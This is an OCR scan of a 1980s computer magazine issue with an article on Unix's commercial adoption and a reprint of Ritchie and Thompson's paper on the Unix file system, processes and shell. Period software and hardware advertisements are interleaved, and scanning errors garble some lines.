lett-Packard which have a major invest- 
ment in their own operating systems. This, 
perhaps more than any other develop- 
ment, has legitimised Unix. 

With the commercial adoption of Unix, 
user groups started to emerge which have 
helped with standardisation efforts. From 
the commercial developer's point of view 
raw Unix is deficient in several respects — 
most notably file and record locking. While 
vendors customised their own versions of 
Unix to provide these facilities, each was 
different, and software had to be rewritten 
for each. 

The recent efforts of groups like /ust/ 
group (a body consisting mainly of original 
equipment manufacturers) have focused 

THE ONLY 
GRAPHICS PACKAGE 

AVAILABLE FOR 
THE 

MICROBEE 
“Cut & Paste” facility. Define your own icons 
and copy them. 
Zoom editing - allows you to edit your art in 
fine detail. 

Pictures can be saved on or retrieved from 
disk, or printed out. 
BEESLIDE - a variable speed slide-show 
package; user defined order and files. 
Min. Requirements: 32k Microbee, CP/M, 
1 disk drive (40 track DSDD}), Epson 
compatible printer (option). 

DESIGNED 
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on providing a standard version of Unix, so 
software can be made portable. AT&T itself 
has collaborated in these moves; while it 
has not always adopted the recommenda- 
tions of such groups, it has made its own 
strenuous efforts to ensure that System V 

Release 2 is a standard. 

Key Features 

Several things make Unix a major force in 
the future development of micro- and 
minicomputers, but perhaps the most sig- 
nificant of these is the portability of the 
system. Since Unix is for the most part 
written in C, it is extremely portable in 
comparison with earlier operating sys- 

tems. 

Related to this is the fact that C has been 
designed with no particular machine in 
mind. The design aims for the best way to 
perform certain tasks in the abstract, 
rather than the best way to perform them 
on some particular computer. This aids 
portability, as well as reliability. Unix 
works pretty well for the most part, and 
OEMs and other owners of source licences 
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PO. Box 348, Balwyn North, Victoria. 
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are discouraged from tinkering with the 
innards of the system. In the words of the 
old saw, ‘“If'n it ain’t broke, don’t fix it”. 

Unix thus manages to achieve more 
than moderate performance on a range of 
different computers. This makes it an 
attractive choice of operating system for 
manufacturers of new machines. 

Another significant factor in favour of 
Unix is that an entire generation of com- 

puting specialists has been raised on it. It 
is the operating system standard in the 
educational world, where it is the cheapest 
operating system for PDP-IIs and VAXs 
and recently has shown the virtue of run- 
ning on quite small microcomputers. To a 
university computer science department, 

facing the budgetary constraints of the cur- 
rent political climate, Unix is very attrac- 
tive. 

The result has been a generation of 
graduates who were raised on Unix. In 
some cases, as these people have entered 
the world of commercial computing, this 
has meant weaning them away from their 
favourite operating system and teaching 

them to face the hard realities of IBM’s 
mainframe operating systems, among 
others. 

Whether the supply of Unix-experienced 
graduates is a blessing or a drawback de- 
pends on your viewpoint. If you have re- 

cently acquired a Unix system and are 
looking for staff, it's probably a good thing. 
But trying to explain why VM and CICS 
have their advantages to a Unix-fixated 
youth who has never used any other oper- 
ating system has been known to drive ex- 
perienced DP managers into a frenzy. 

As AT&T was doubtless aware (to some 

extent at least) when it started licensing 
Unix to educational institutions at bar- 
gain-basement prices, this has had the 
effect of creating a generation of program- 
mers and analysts who will demand Unix 

for virtually all minicomputer tasks. 

Current Trends — 
68000 and 80286 

The last year has seen the release — in 
small sample quantities, at least, of mic- 
roprocessor chips capable of supporting 
Unix comfortably. These chips, the 32032, 
68000 and 80286, are being adopted by 
manufacturers for a variety of different 
machines, ranging from professional work- 
stations, through CAD/CAM computers, to 
general-purpose supermicros. 

The one thing all these manufacturers 
have in common is a need for an operating 

system and a lack of resources for writing 
one themselves. The operating system that 
stands out is Unix. 

Several companies — Human Comput- 
ing Resources, UniSoft, Microsoft, Digital 
Research, and in Australia, Neology — 
offer a complete porting service. Given the 
complete engineering specifications of a 
target machine, and a pre-production pro- 
totype to work on, they will rewrite Unix to 
run on that machine. 

Despite the portability of Unix, this is 
not a trivial task. The first stage is to rewrite 
the C compiler for the new processor, then 
to rewrite the input/output library. Usually 
an assembler will need to be written as 
well. Only then can work begin on porting 
Unix. 

However, once the groundwork has been 
done, porting Unix to a different machine 
based on the same processor is not nearly 
as big a task, and with experience, gets 
faster and faster. UniSoft, for example, spe- 
cialises in 68000 Unix ports and has done 
them for well over 100 different machines, 
making its UniPlus+ port something of a 
standard in the 68000 world. Microsoft, on 
the other hand, supports its Xenix on PDP- 
11, Z-8000, 80286 and other processors. 
Both these companies have supplied 
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somewhere over 50,000 copies of the 
system. 

Human Computing Resources, a Toron- 

to company, has completed ports for a 
variety of processors including the 32016 
and 32032, while Digital Research (or 
actually one of its offshoots) has com- 
pleted a port for the 80286 processor for 
Intel. 

The major player in the game, however, 
is AT&T. Currently, AT&T only supplies 
Unix System V Release 2 for the VAX range 
of minicomputers, with System V available 
on the 3B series of minis and supermicros. 

However, part of the product line is a 
cross-software development system for 
the 68000, and it is possible, though un- 
likely, that AT&T could start supplying its 
own version of System V for the 68000. 

At this stage of the game the main forces 
in the marketplace are ATS&T itself, with 
more resources and expertise than the 
others put together; Microsoft, which has 
souped up its Xenix to the System III level 
and intends to go to System V; and Un- 
iSoft, which is supplying UniPlus+ at the 
System V level with added Berkeley en- 
hancements and some of its own devising. 

Thus armed, you can now venture brave- 
ly into the rest of this issue ... O 

HUS ARMED, You CAN Now 
VENTURE BRAVELY INTO THE. 
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Author, Author! 
By D M Ritchie and K Thompson 

Copyright 1978 American Telephone and 
Telegraph Company, The Bell System Technic- 
al Journal, Vol 57, No 6, July-August, 1978. 
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Where's the best place to get the good oil on Unix? 
From the men who wrote it, of course. Ken 
Thompson and Dennis Ritchie defined Unix — and, 
specifically, its file system and user interface — in 
‘The Bell System Technical Journal’ in 1978. Here, 

with thanks to Bell Laboratories, we present a revised 
version of that paper. 

erhaps the most important 
achievement of Unix is to demon- 
strate that a powerful operating 
system for interactive use need 

not be expensive either in equipment or in 

human effort; even in 1978, it could be run 
on hardware costing as little as $40,000, 
while less than two man-years were spent 
on the main system software. 

We hope, however, that users find the 
most important characteristics of the sys- 
tem are its simplicity and elegance. 

Besides the operating system proper, 
some major programs available under 
Unix are: C compiler; text editor based on 
QED; assembler, linking loader, symbolic 
debugger; phototypesetting and equation 
setting programs; and dozens of languages 
including FORTRAN 77, BASIC, SNOBOL, 

APL, ALGOL, M6, TMG and Pascal. 
There is a host of maintenance, utility, 

recreation and novelty programs. The Unix 
user community, which numbers in the 
thousands, has contributed many more 
programs and languages. It is worth noting 
that the system is totally self-supporting. 
All Unix software is maintained on the 
system; likewise, the original version of 
this paper, and all other documents in the 
same issue of The Bell System Technical Jour- 
nal, were generated and formatted by the 
Unix editor and text formatting programs. 

Most Unix software is written in the C 
language. Early versions of the operating 
system were written in assembly language, 
but during the summer of 1973 it was re- 
written in C. The size of the new system was 

about one-third greater than that of the 
old. Since the new system not only became 
much easier to understand and to modify, 
but also included many functional im- 
provements, including multi- 
programming and the ability to share re- 
entrant code among several user prog- 
rams, we considered this increase in size 
quite acceptable. 

The Unix File System 
The most important role of the system is to 
provide a file system. From the point of 
view of the user, there are three kinds of 
files: ordinary disk files, directories, and 
special files. 

A file contains whatever information the 
user places on it, for example, symbolic or 
binary (object) programs. No particular 

structuring is expected by the system. A 
file of text consists simply of a string of 
characters, with lines demarcated by the 
newline character. 

Binary programs are sequences of words 
as they will appear in core memory when 
the program starts executing. A few user 
programs manipulate files with more 
Structure; for example, the assembler 
generates, and the loader expects, an ob- 
ject file in a particular format. However, the 
structure of files is controlled by the prog- 
rams that use them, not by the system. 

Directories provide the mapping be- 
tween the names of files and the files 
themselves, and thus induce a structure on 
the file system as a whole. 

Each user has a directory of his own 
files; he may also create subdirectories to 

contain groups of files conveniently treat- 
ed together. A directory behaves exactly 
like an ordinary file except it cannot be 
written on by unprivileged programs, so 
the system controls the contents of direc- 
tories. However, anyone with appropriate 

permission may read a directory. 
The system maintains several director- 

ies for its own use. One of these is the root 
directory. All files in the system can be 
found by tracing a path through a chain of 
directories until the desired file is reached. 
The starting point of such searches is often 
the root. Other system directories contain 

all the programs provided for general use; 
that is, all the commands. 

Files are named by sequences of 14 or 

fewer characters. When the name of a file is 

specified to the system, it may be in the 
form of a path name, which is a sequence of 
directory names separated by slashes, */”, 
and ending in a file name. If the sequence 
begins with a slash, the search begins in 
the root directory. The name /alpha/beta/ 
gamma causes the system to search the 
root for directory alpha, then to search 
alpha for beta, finally to find gamma in 
beta. Gamma may be an ordinary file, a 
directory, or a special file. As a limiting 
case, the name ‘/ refers to the root itself. 

A path name not starting with ‘/ causes 
the system to begin the search in the user's 
current directory. Thus, the name alpha/ 
beta specifies the file named beta in sub- 
directory alpha of the current directory. 
The simplest kind of name, for example, 
alpha, refers to a file that itself is found in 
the current directory. As another limiting 
case, the null file name refers to the cur- 
rent directory. 

The same non-directory file may appear 
in several directories under possibly diffe- 
rent names. This feature is called linking; a 
directory entry for a file is sometimes cal- 
led a link. The Unix system differs from 
other systems in which linking is permitted 
in that all links to a file have equal status. 
That is, a file does not exist within a par- 
ticular directory; the directory entry for a 
file consists merely of its name and a poin- 
ter to the information actually describing 
the file. Thus a file exists independently of 
any directory entry, although in practice a 
file is made to disappear along with the 
last link to it. Each directory always has at 
least two entries. The name ‘. in each 
directory refers to the directory itself. Thus 
a program may read the current directory 
under the name ‘.’ without knowing its 
complete path name. The name “..’ by con- 
vention refers to the parent of the directory 
in which it appears, that is, to the directory 
in which it was created. 

The directory structure has the form of a 
rooted tree. Except for the special entries 
‘’ and ‘..’, each directory must appear as an 
entry in exactly one other directory, which 
is its parent. The reason for this is to sim- 
plify the writing of programs that visit sub- 
trees of the directory structure, and more 
important, to avoid the separation of por- 
tions of the hierarchy. If arbitrary links to 
directories were permitted, it would be 
quite difficult to detect when the last con- 
nection from the root to a directory was 
severed. 

Special files constitute the most un- 
usual feature of the Unix file system. Each > 
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GrafTalk is business graphics software that 
works as hard for your business as you do. 

You can use GrafTalk the way you’d like. 
CrafTalk is flexible in accepting commands. You can type English-language commands 
interactively, run commands from disk files or the in-built editor, or use GrafTalk’s menus if you 
prefer. 

GrafTalk has all the graphics features you need. 
Choose from stacked, percentage, clustered or floating bars; exploded pies, line plots, scatter 
diagrams and combinations of all of these. Adjust styles and sizes to suit your needs. 
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Chances are it works with the hardware you 
already have. 
GrafTalk runs on CP/M-80 systems (even those without 
screen graphics), the IBM-PC, Sirius, DEC Rainbow, Zenith 
Z100, and many more. 16-bit systems need only 128kB of 
memory. 
GrafTalk drives so many screens, plotters, and 
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Features of Graflalk SPECIALITY HANDSET SALES 

Flexible Data Input 
GrafTalk will extract data from any text file, including 
Printer files from most spreadsheet programs. Blank lines 
and headings are ignored. Unwanted data can be easily 
masked off. Commas, dollars signs etc do not affect the 
interpretation of data values. 

DIGITEL MEMORY 13% 

FLIP-PHONE 40% 

Ming Spread Sheet DIGITEL MONITOR 27% 

The inbuilt spreadsheet allows the user to view and 
adjust data, perform arithmetic operations, create 
new rows and columns, name rows and 
columns,create sub-sets, and output data to disk or 

‘ : TOUCH A MATIC 20% 

printer. Unassigned values are allowed. 

Menu Mode 
High-speed screen oriented menus are provided. Write 
your Own menus for your standard operations. Switch 
between menu mode and command mode at any time. 

ADD LOGOS WITH MOVE, DRAW AND ARC COMMANDS. 

Editor 
Blood Sugar after Islet-cell Graft The powerful screen-oriented text editor within GrafTalk is a very 

valuable tool for developing graphics. It can be used to create files 
containing commands, data or both. The editor has commands to 
allow you to run all or part of a file. If errors are found during 
execution, GrafTalk returns to the editor, with the cursor pointing to 
the offending line. 
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SUITABLE FOR BOTH SCIENTIFIC AND BUSINESS APPLICATIONS. 

Axis Features 
Adjust the number and position of axes. Select 
numeric labels, or text or special labels such as 
months, days or years. You can use automatic 
scaling, or nominate the range for each axis. 81-82 Be-B83 83-84 84-85 

PAYE Tax fase | Company Tax a Sales Tax 
Interactive Graphics ae 
Use the joystick, mouse, or light pen to select a region on 
the screen, and position legends and text. 

Advanced Feattres 

Declare variables, interactive sketch commands, circle and 

arc, absolute and relative moves, draws and marks, screen 
or graph coordinate systems. Price: $570 (ecSalesehan) 

DEALER ENQUIRIES WELCOME 

GrafTalk is distributed in Australia by: 

95 Canterbury Rd, Middle Park, Victoria 3206. 

Telephone: (03) 699 9899. Telex: AA 31604. 
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supported I/O device is associated with at 
least one such file. Special files are read 
and written just like ordinary disk files, but 
requests to read or write result in activa- 
tion of the associated device. An entry for 
each special file resides in directory /dev, 
although a link may be made to one of 
these files just as it may to an ordinary file. 

Thus, for example, to write on a magnetic 
tape one may write on the file ‘/dev/mt’. 

Special files exist for each communica- 
tion line, each disk, each tape drive, and for 
physical main memory. Of course, the ac- 
tive disks and the memory special file are 
protected from indiscriminate access. 

There is a threefold advantage in treat- 
ing I/O devices this way: file and device I/O 
are as similar as possible; file and device 
names have the same syntax and meaning, 
SO a program expecting a file name as a 

parameter can be passed a device name; 
finally, special files are subject to the same 
protection mechanism as regular files. 

Keeping Out The Bad Guys 

Although the access control scheme is 

You want 
nix-V... 

Look what the 
Colex DM/6 offers: 
¢ Complete System on two VME 
Boards. 

e UNIX System V, PDOS, CP/M-68K 
and MS-DOS operating systems 
available. 

e 32 Bit 68010 CPU with 68451 
MMU. 

e 80186 VMEbusmaster controls 
I/O processing. 

e Powerful multiprocessor 
architecture. 

e Standard VMEbus implementation. 
e Up to 2MB multiported global 
RAM. 

Trademarks: Umix-AT&T, MS-DOS-Microsoft; CP/M-68K-Digital Research : 
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All files in the system can 
be found by tracing a 

path through a chain of 
directories until the 

desired file is reached. The 
starting point of such 

searches is often the root. 

quite simple, it has some unusual features. 
Each user of the system is assigned a uni- 
que user identification number. When a 
file is created, it is marked with the user ID 
of its owner. Also given for new files is a set 
of 10 protection bits. Nine of tnese specify 
independently read, write, and execute 
permission for the owner of the file, for 
other members of his group, and for all 
remaining users. 

If the tenth bit is on, the system will 
temporarily change the user identification 

(user ID) of the current user to that of the 
creator of the file whenever the file is ex- 
ecuted as a program. This change in user 
ID is effective only during the execution of 
the program that calls for it. 

The set-user-ID feature provides for pri- 
vileged programs that may use files inac- 
cessible to other users. For example, a 
program may keep an accounting file that 
should neither be read nor changed except 
by the program itself. If the set-user-ID bit 
is on for the program, it may access the file 
although this access might be forbidden to 
other programs invoked by the user. 

Since the actual user ID of the invoker of 
any program is always available, set-user- 
ID programs may take any measures de- 
sired to satisfy themselves as to their in- 
voker's credentials. 

The system recognises one particular 
user ID (that of the super-user) as exempt 
from the usual constraints on file access: 
thus (for example), programs may be writ- 
ten to dump and reload the file system 
without unwanted interference from the 
protection system. 
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¢ Most standard I/O interfaces 
supported on a single board. 

e Compact enclosure: Up to two 
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combination of up to two floppy 
disk drives or %” cartridge tape 
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I’ve Got A Code in I-Nodes 

As mentioned earlier, a directory entry 
contains only a name for the associated 
file and a pointer to the file itself. This 
pointer is an integer called the i-number (for 
index number) of the file. When the file is 
accessed, its irnumber is used as an index 
into a system table (the i-list) stored in a 
known part of the device on which the 
directory resides. The entry found thereby 
(the file’s i-node) contains the description 
of the file: 

m@ the user and group-ID of the owner 
M@ its protection bits 
@ the physical disk or tape addresses for 

the file contents 
@ its size 

@ time of creation, last use, and last mod- 
ification 

m@ the number of links to the file; that is, 
the number of times it appears in a 
directory 

™ a ccde indicating whether the file is a 
directory, an ordinary file, or a special 
file. 

The purpose of an open or create system 
call is to turn the path name given by the 
user into an i-number by searching the 
explicitly or implicitly named directories. 
Once a file is open, its device, i-number, 
and read/write pointer are stored in a sys- 
tem table indexed by the file descriptor 
returned by the open or create. Thus, dur- 
ing a subsequent call to read or write the 
file, the descriptor may be easily related to 
the information necessary to access the 

file. 

When a new file is created, an i-node is 
allocated for it and a directory entry is 
made that contains the name of the file 
and the i-node number. Making alinkto an 
existing file involves creating a directory 
entry with the new name, copying the i- 
number from the original file entry, and 
incrementing the link-count field of the 
i-node. Deleting a file is done by de- 
crementing the link-count of the i-node 
specified by its directory entry and erasing 
the directory entry. If the link-count drops 
to 0, any disk blocks in the file are freed and 
the i-node is de-allocated. 

The space on all disks that contain a file 
system is divided into a number of 512- 
byte blocks logically addressed from 0 up 
to a limit that depends on the device. 
There is space in the i-node of each file for 

13 device addresses. For non-special files, 
the first 10 device addresses point at the 
first 10 blocks of the file. If the file is larger 
than 10 blocks, the eleventh device 
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The space on all disks 
that contain a file system 
is divided into a number 

of 512-byte blocks 
logically addressed from 0 
up to a limit that depends 

on the device. 

address points to an indirect block con- 
taining up to 128 addresses of additional 
blocks in the file. Still larger files use the 
twelfth device address of the i-node to 
point to a double-indirect block naming 
128 indirect blocks, each pointing to 128 
blocks of the file. If required, the thirteenth 
device address is a triple-indirect block. 

Thus files may conceptually grow to 
1,082,201,088 bytes. Once opened, bytes 
numbered below 5120 can be read with a 
single disk access; bytes in the range 5120 
to 70,656 require two accesses; bytes in the 

range 70,656 to 8,459,264 require three ac- 
cesses; bytes from there to the largest file 
require four accesses. In practice, a device 
cache mechanism proves effective in eli- 
minating most of the indirect fetches. 

The notion of the i-list is an unusual 
feature of Unix. In practice, this method of 
organising the file system has proved quite 
reliable and easy to deal with. To the sys- 
tem itself, one of its strengths is the fact 
that each file has a short, unambiguous 
name related in a simple way to the protec- 
tion, addressing, and other information 
needed to access the file. 

It also permits a quite simple and rapid 
algorithm for checking the consistency of a 
file system; for example, information and 
files free to be allocated are disjoint, and 
together exhaust the space on the device. 
This algorithm is independent of the direc- 
tory hierarchy, because it need only scan 
the linearly organised i-list. 

Processes And Images 

An image is acomputer execution environ- 

ment. It includes a memory image, general 
register values, the status of open files, a 
current directory and the like. An image is 
the current state of a pseudo-computer. 

A process is the execution of an image. 
While the processor is executing on behalf 
of a process, the image must reside in 
main memory; during the execution of 

other processes it remains in main mem- 

ory unless the appearance of an active, 
higher-priority process forces it to be 
swapped out to the disk. 

The user-memory part of an image is 

divided into three logical segments. The 
program text segment begins at location 0 
in the virtual address space. During execu- 
tion, this segment is write-protected and a 
single copy of it is shared among all pro- 
cesses executing the same program. 

At the first hardware protection byte 
boundary above, the program text seg- 
ment in the virtual address space begins a 
non-shared, writable data segment, the 
size of which may be extended by a system 
call. Starting at the highest address in the 
virtual address space is a stack segment, 
which automatically grows downward as 
the stack pointer fluctuates. 

Except while the system is bootstrap- 
ping itself into operation, a new process 

can come into existence only by use of the 
fork system call: 

processid = fork() 

When fork is executed, the process splits 
into two independently executing proces- 
ses. These have independent copies of the 
original memory image, and share all open 
files. The new processes differ only in that 
one is considered the parent process: in 
the parent, the returned processid actually 
identifies the child process and is never 0, 
while in the child, the returned value is 
always 0. 

Because the values returned by fork in 
the parent and child process are disting- 
uishable, each process may determine 
whether it is the parent or child. 
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Processes may communicate with re- 

lated processes, using the same system 
read and write calls used for file-system 
I/O. The call: 

filep = pipe() 

returns a file descriptor filep and creates 
an inter-process channel called a pipe. This 
channel, like other open files, is passed 
from parent to child process in the image 
by the fork call. A read using a pipe file 
descriptor waits until another process 
writes using the file descriptor for the 
same pipe. At this point, data is passed 
between the images of the two processes. 

Neither process need know that a pipe, 
rather than an ordinary file, is involved. 

Another major system primitive is in- 

voked by 

execute (file, arg(1), arg(2), ... , arg(n)) 

which requests the system to read in and 
execute the program named by file, passing 
it the string arguments arg(1), arg(2), ..., 

arg(n). All the code and data in the process 
invoking execute are replaced from the file, 
but open files, current directory, and inter- 
process relationships are unaltered. Only 
if the call fails, for example because the file 
could not be found or because its execute- 
permission bit was not set, does a return 
take place from the execute primitive; it re- 
sembles a ‘jump’ machine instruction 
rather than a subroutine call. 

Another process control system call 
causes its caller to suspend execution un- 
til one of its children has completed execu- 
tion: 

processid = wait(status) 

When fork is executed, the 
process splits into two 

independently executing 
processes. These have 

independent copies of the 
original memory image, 
and share all open files. 

Then wait returns the processid of the 
terminated process. An error return is 

taken if the calling process has no descen- 
dants. Certain status from the child pro- 
cess is also available. 

Finally, the exit call terminates a process, 
destroys its image, closes its open files, 
and generally obliterates it: 

exit(status) 

The parent is notified through the wait 
primitive, and status is made available to 
it. Processes may also terminate as a result 
of various illegal actions or user-generated 
signals. 

Unix Sells Sea Shells .. . 

‘For most users, communication with the 

system is carried on with the aid of a prog- 
ram called the shell. The shell is a com- 
mand-line interpreter: it reads lines typed 
by the user and interprets them as re- 
quests to execute other programs. In its 

simplest form, a command line consists of 
the command name followed by argu- 
ments to the command, all separated by 
spaces: 

command, arg(1) arg(2) ... arg(n) 

The shell splits the command name and 
the arguments into separate strings. Then 
a file with a name command is sought; the 
command may be a path name including 
the ‘/ character to specify any file in the 
system. If the command is found, it is 
brought into memory and executed. The 
arguments collected by the shell are ac- 
cessible to the command. When the com- 
mand is finished, the shell resumes its own 
execution, and indicates its readiness to 
accept another command by typing a 
prompt character. 

If the file command cannot be found, the 
shell generally prefixes a string such as 
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/bin/ to the command and attempts to find 
the file again. Directory /bin/ contains 
commands intended to be generally used. 
(The sequence of directories to be sear- 
ched may be changed by user request.) 

Programs executed by the shell start off 
with three open files with file descriptors 0, 
| and 2. As such a program begins execu- 
tion, file 1 is open for writing, and is best 
understood as the standard output file. 
Except under the circumstances indicated 
below, this file is the user’s terminal. Thus 
programs that wish to write informative 
information ordinarily use file descriptor 1. 
Conversely, file 0 starts off open for read- 
‘ing, and programs that wish to read mes- 
sages typed by the user read this file. 

The shell is able to change the standard 
assignments of these file descriptors from 
the user's terminal, printer and keyboard. If 
one of the arguments to a command is 
prefixed by ‘>’, file descriptor | will, forthe 
duration of the command, refer to the file 
named after the ‘>’. For example, Is ordi-’ 
narily lists, on the printer, the names of the 
files in the current directory. The command 
ls >there creates a file called there and 
places the listing in it. Thus the argument 
>there means ‘place output on there’. On the 
other hand, ed ordinarily enters the editor, 
which takes requests from the user via the 
keyboard. The command ed <script inter- 
prets script as a file of editor commands; 
thus <script means ‘take input from script’. 

Although the file name following ‘<’ or 
‘>' appears to be an argument to the com- 
mand, it is in fact interpreted completely 
by the shell and is not passed to the com- 
mand at all. Thus no special coding to 
handle I/O redirection is needed within 
each command; the command need mere- 
ly use the standard file descriptors 0 and | 
where appropriate. 

File descriptor 2 is, like file 1, ordinarily 
associated with the terminal output 
stream. When an output-diversion request 
with ‘>’ is specified, file 2 remains 
attached to the terminal, so commands 
may produce diagnostic messages that do 
not silently end up in the output file. 

Filter Kings 

An extension of the standard I/O notion is 
used to direct output from one command 
to the input of another. A sequence of 
commands separated by vertical bars 
causes the shell to execute all the com- 
mands simultaneously and to arrange for 
the standard output of each command to 
be delivered to the standard input of the 
next command in the sequence. Thus in > 
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the command line: 
IsX pr -2 Aopr 

Is lists the names of the files in the current 
directory; its output is passed to pr, which 
paginates its input with dated headings 
(the argument ‘-2' requests double- 
column output). Likewise, the output from 
pr is input to opr; this command spools its 
input onto a file for off-line printing. 

This procedure could have been carried 
out more clumsily by: 

ls >temp| 
pr -2 <temp| >temp2 

opr <temp2 

followed by removal of the temporary files. 
In the absence of the ability to redirect 
output and input, a still clumsier method 
would have been to require the Is com- 
mand to accept user requests to paginate 
its output, to print in multi-column format, 
and to arrange that its output be delivered 
off-line. Actually it would be surprising, 
and in fact unwise for efficiency reasons, to 
expect authors of commands such as Is to 
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provide such a wide variety of output op- 
tions. 

A program such as pr which copies its 
standard input to its standard output (with 
processing) is called a filter. Some filters we 
have found useful perform character trans- 
literation, selection of lines according to a 
pattern, sorting of the input, and encryp- 

tion and decryption. 
Another feature provided by the shell is 

relatively straightforward. Commands 
need not be on different lines; instead they 
may be separated by semicolons: 

ls: ed 

will first list the contents of the current 
directory, then enter the editor. 

A related feature is more interesting. Ifa 
command is followed by ‘&’, the shell will 
not wait for the command to finish before 
prompting again; instead, it is ready im- 
mediately to accept a new command. For 
example: 

as source >output & 

WE'RE FROM THE 
CHILDPERSONS WELFARE 
BUREAU... WEVE HAD A COMPLAINT 
ABOUT CHILD LABOUR AND 

UNIX-FIXATED YOUTH, YOU SWINE 

causes source to be assembled, with di- 
agnostic output going to output; no matter 
how long the assembly takes, the shell 
returns immediately. When the shell does 
not wait for the completion of acommand, 
the identification number of the process 
running that command is printed. This 
identification may be used to wait for the 
completion of the command or to termin- 
ate it. The ‘&’ may be used several times in 

a line: 

as source >output & Is >files & 

does both the assembly and the listing in 
the background. In these examples, an out- 
put file other than the terminal was pro- 
vided; if this had not been done, the out- 
puts of the various commands would have 
been intermingled. 

The shell also allows parentheses in the 
above operations. For example: 

(date; Is) >x & 

writes the current date and time followed 



by a list of the current directory onto the 
file x. The shell also returns immediately 
for another request. 

The shell is itself a command, and may 
be called recursively. Suppose file tryout 
contains the lines: 

as source 
mv aout testprog 
testprog 

The mv command causes the file a.out to 
be renamed testprog. a.out is the (binary) 
output of the assembler, ready to be ex- 
ecuted. Thus if the three lines above were 
typed on the keyboard, source would be 
assembled, the resulting program re- 
named testprog, and testprog executed. When 
the lines are in tryout, the command: 

sh <tryout 

would cause the shell (sh) to execute the 
commands sequentially. 

The shell has further capabilities, in- 
cluding the ability to substitute para- 

meters and to construct argument lists 
from a specified subset of the file names in 
a directory. It also provides general con- 
ditional and looping constructions. 

Shell Be Right 

The outline of the operation of the shell 
can now be understood. Most of the time, 
the shell is waiting for the user to type a 
command. When the newline character 
ending the line is typed, the shell’s read 
call returns. The shell analyses the com- 
mand line, putting the arguments in a form 
appropriate for execute. Then fork is called. 
The child process, whose code of course is 
still that of the shell, attempts to perform 
an execute with the appropriate arguments. 

If successful, this will bring in and start 
execution of the program given. 

Meanwhile, the other process resulting 
from the fork, which is the parent process, 
waits for the child process to die. When 
this happens, the shell knows the com- 
mand is finished, so it types its prompt and 
reads the keyboard to obtain another com- 
mand. 

-[IN, BACK-UP 
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Programs executed by the 
shell start off with three 

open files with file 
descriptors 0, 1 and 2. As 
such a program begins 

execution, file | is open for 
writing, and is best 
understood as the 

standard output file. 

Given this framework, the implementa- 
tion of background processes is trivial; 
whenever acommand line contains ‘&’, the 
Shell merely refrains from waiting for the 
process it created to execute the com- 
mand. 

Happily, all this mechanism meshes 
very nicely with the notion of standard p 
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input and output files. When a process is 
created by the fork primitive, it inherits not 
only the memory image of its parent but 
also all the files currently open in its pa- 
rent, including those with file descriptors 
0, |, and 2. The shell, of course, uses these 
files to read command lines and to write its 
prompts and diagnostics, and in the ordin- 

ary case its children — the command pro- 
grams — inherit them automatically. 

When an argument with ‘<’ or ‘>’ is 
given, however, the offspring process, just 
before it performs execute, makes the stan- 
dard I/O file descriptor (0 or 1, respectively) 
refer to the named file. This is easy be- 
cause, by agreement, the smallest unused 
file descriptor is assigned when a new file 
is opened (or created); it is only necessary 
to close file 0 (or 1) and open the named 
file. 

Because the process in which the com- 
mand program runs simply terminates 

when it is through, the association be- 
tween a file specified after ‘<’ or ‘>’ and 
file descriptor 0 or I is ended automatical- 
ly when the process dies. Therefore the 
shell need not know the actual names of 
the files that are its own standard input 
and output, because it need never reopen 
them. 

Filters are straightforward extensions of 
standard I/O redirection, with pipes used 
instead of files. 

In ordinary circumstances, the main 
loop of the shell never terminates. (The 
main loop includes the branch of the re- 
turn from fork belonging to the parent pro- 
cess; that is, the branch that does a wait, 
then reads another command line.) The 
one thing that causes the shell to termin- 
ate is discovering an end-of-file condition 
on its input file. Thus, when the shell is 
executed as acommand with a given input 
file, as in: 

sh <comfile 

the commands in comfile will be executed 
until the end of comfile is reached; then the 
instance of the shell invoked by sh will 
terminate. Because this shell process is 
the child of another instance of the shell, 
the wait executed in the latter will return, 
and another command may then be pro- 
cessed. 

Big Daddy 

The instances of the shell to which users 
type commands are themselves children of 
another process. The last step in the in- 
itialisation of the system is the creation of 

When the shell does not 
wait for the completion of 

a command, the 
identification number of 
the process running that 
command is printed. This 
identification may be used 
to wait for the completion 
of the command or to 

terminate it. 

a single process and the invocation (via 
execute) of a program called init. 

The role of init is to create one process 
for each terminal channel. The various 
subinstances of init open the appropriate 

terminals for input and output on files 0, 1, 
and 2, waiting, if necessary, for carrier to be 
established on dial-up lines. Then a mes- 
sage is typed out requesting that the user 
log in. 
When the user types a name or other 

identification, the appropriate instance of 

init wakes up, receives the log-in line, and 
reads a password file. If the user's name is 
found, and if he is able to supply the cor- 
rect password, init changes to the user's 
default current directory, sets the pro- 
cess's user ID to that of the person logging 
in, and performs an execute of the shell. At 
this point, the shell is ready to receive 
commands and the logging-in protocol is 
complete. 

Meanwhile, the mainstream path of init 
(the parent of all the subinstances of itself 
that will later become shells) does a wait. If 

one of the child processes terminates, 
either because a shell found an end of file 
or because a user typed an incorrect name 
or password, this path of init simply recre- 
ates the defunct process, which in turn 
reopens the appropriate input and output 
files and types another log-in message. 
Thus a user may log out simply by typing 
the end-of-file sequence to the shell. 

The shell as described above is designed 
to allow users full access to the facilities of 
the system, because it will invoke the ex- 
ecution of any program with appropriate 

protection mode. Sometimes, however, a 

different interface to the system is desir- 

Author! Author! 

able, and this feature is easily arranged. 
Recall that after a user has successfully 

logged in by supplying a name and pass- 
word, init ordinarily invokes the shell to 
interpret command lines. The user's entry 
in the password file may contain the name 
of a program to be invoked after log-in 
instead of the shell. This program is free to 
interpret the user's messages in any way it 

wishes. 
For example, the password files ertries 

for users of a secretarial editing system 
might specify that the editor ed is to be 
used instead of the shell. Thus when users 
of the editing system log in, they are inside 
the editor and can begin work immedi- 
ately; also, they can be prevented from 
invoking programs not intended for their 
use. In practice, it has proved desirable to 
allow a temporary escape from the editor 
to execute the formatting program and 
other utilities. 

Several of the games (for example,p 



JET FAST 
SINGLE USER 
MULTIUSER 
TRANSPORTABLE 
EASY TO USE 
UNLIMITED POWER 
WITH NEW MULT! FILE QUERY 

Training courses, free seminars 
Mt ) and programs. 
C Vertical market applications. 

fh , Available Australia wide. 

@ 4 

Software turbulence?? e> DataFlex runs on CP/M, CP/M-86, MS-DOS, and most 
microcomputer multi-user operating systems and networks. 

Applications developed on one can be transported to another 
without change ... even from 8 to 16 bit and single to 

multi-user systems! 

ly For ahigh performance system that'll keep your 
applications flying, get DataFlex!!... 

Fly DataFlex! The best data base software “ 
in the sky! ‘ 
DataFlex couples a jet fast relational data 
base with a powerful command language 
and utilities So you can build turbocharged 
applications. A single command gets information 
from your data base and displays it on a screen or report. 

